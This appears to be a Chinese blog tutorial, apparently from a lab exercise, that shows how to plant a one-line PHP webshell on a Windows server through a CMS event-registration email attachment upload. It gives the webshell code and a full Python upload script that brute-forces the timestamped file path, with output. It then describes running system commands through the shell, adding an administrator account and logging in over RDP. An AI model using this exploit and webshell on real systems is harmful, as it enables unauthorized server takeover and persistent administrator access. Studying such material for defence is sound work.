首页 > 技术文章 > 一句话木马的简单例子 网站webshell & 远程连接

lqerio 2020-05-31 17:32 原文

一  概述

本地 kail  linux

目标 windows nt 服务器

 

二 过程

首先编写一句话木马  index.php

一句话木马的原理就是把C=xxx 字符串当成php语句执行

注意这里用了GET,因为尝试过POST不成功

<?php eval(@$_GET['c']);?>

编写 上传脚本 index.py

import requests
base_url='http://192.168.1.4/'
url_for_time='index.php?module=eventregistration&action=eventsCalendar'
url_for_upload='index.php?module=eventregistration&action=emailRegistrants&email_addresses=123456789@123.com&email_message=1&email_subject=1'

files={'attach':open('index.php','rb')}

requests.post(base_url+url_for_upload,files=files)

print 'upload finish'

r=requests.get(base_url+url_for_time)
html1=r.content
#print html1
index=r.content.find('History.pushState')
if index:
    time=html1[index:index+60].split('rel')[1].split('\'')[1]
else:
    print 'something wrong'
    exit(0)
print "get time:"+ time

for i in range(int(time),int(time)-20,-1):
    shell_url=base_url+'tmp/'+str(i)+'_index.php'
    r2=requests.get(shell_url)
    if r2.status_code==200:
        print "shell is here : "+shell_url

通过本地kali运行脚本上传到服务器,并获取shell地址

root@simpleedu:~# python index.py
upload finish
get time:1582759067
shell is here : http://192.168.1.4/tmp/1582759065_index.php

 

通过本地浏览器访问

http://192.168.1.4/tmp/1582759065_index.php

此时可以在浏览器运行php代码.cmd命令

 

 

然后查看远程连接端口号。过程可以见前一篇博客。下面只给出截图。得到服务器远程连接端口35155

 

 

然后加入新用户并设置为管理员组

 

 

 

 

 

 

 

然后rdesktop 远程连接

 

 

这样就能管理员权限直接访问

 

 

 

 

三 其他

也可以写成

http://192.168.1.4/tmp/1582736761_index.php?c=phpinfo();system(“netstat”);

多条语句同时执行

 

另外windows的文件访问权限有点东西:

我已经把hacker添加到了administrators 组,还是没办法打开某个文件。

解决办法是

修改了所有者为hacker

以及更改hacker权限为读

 

推荐阅读